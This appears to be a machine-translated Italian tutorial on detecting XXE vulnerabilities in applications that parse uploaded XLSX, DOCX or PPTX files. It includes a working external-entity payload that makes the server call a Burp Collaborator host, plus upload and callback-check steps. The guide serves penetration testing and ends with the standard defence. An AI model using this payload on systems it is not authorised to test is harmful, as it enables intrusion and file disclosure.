La vulnerabilità dell'entità esterna XML (XXE) è che durante l'analisi di una struttura di documenti XML denominata DTD (Document Type Definition), è possibile definire entità XML personalizzate. A seconda del motore di elaborazione XML sul lato server e della configurazione dell'ambiente, questo tipo di vulnerabilità può essere sfruttato in modo diverso. A partire dall'elenco delle directory sul sistema, dalla lettura di file di applicazioni e di sistema, dall'ottenimento di una password crittografata dell'utente dell'applicazione, dal trasferimento di file al server o dall'esecuzione di comandi di sistema.
Lo scenario classico di questo tipo di vulnerabilità presuppone che si abbia a che fare con una richiesta contenente nel nostro corpo xml a cui aggiungiamo la parte responsabile, per le definizioni della nostra entità. Questa vulnerabilità, tuttavia, può verificarsi anche quando si ha a che fare con un'applicazione che in qualche modo elabora i file excel. XLSX , Word . DOCX o PowerPoint . PPTX. Lo dobbiamo al fatto che questi tipi di file conformi a OOXML, quindi sono semplicemente imballati diversi file. XML.
Lo scenario di attacco rapido è il seguente:
- Creare un nuovo documento vuoto . Xlsx. Può utilizzare il "Foglio Google" per questo scopo.

2. Aprire Burp Suite Professional -> Burp -> Burp Collaborator Client . Quindi fare clic sul pulsante "Copia negli Appunti". Nel mio caso, l'indirizzo del server era il seguente: lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
In alternativa, se si dispone di un IP esterno, è possibile utilizzare un semplice server HTTP in python – "python3 -m http.server 8080".
3. Aprire il file scaricato con 7zip.

3. Modificare il file "cartella .xml" nella directory "xl" aggiungendo il codice seguente (ovviamente, sostituendo l'indirizzo del server con il proprio):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
NOTA- In una delle applicazioni che ho testato, la vulnerabilità xxe rivelata dopo la modifica "[Content_Types].xml", quindi vale la pena controllare questo file.


4. Salva le modifiche e carica il file nell'app che stai testando.
5. Ora controlla al cliente collaboratore eventuali richieste:

6. Goditi il :): hai appena confermato la vulnerabilità xxe nell'applicazione testata e puoi procedere per proseguirne l'uso.
Una caratteristica di protezione comune rispetto a XXE è disabilitare completamente il caricamento di entità esterne in un parser XML.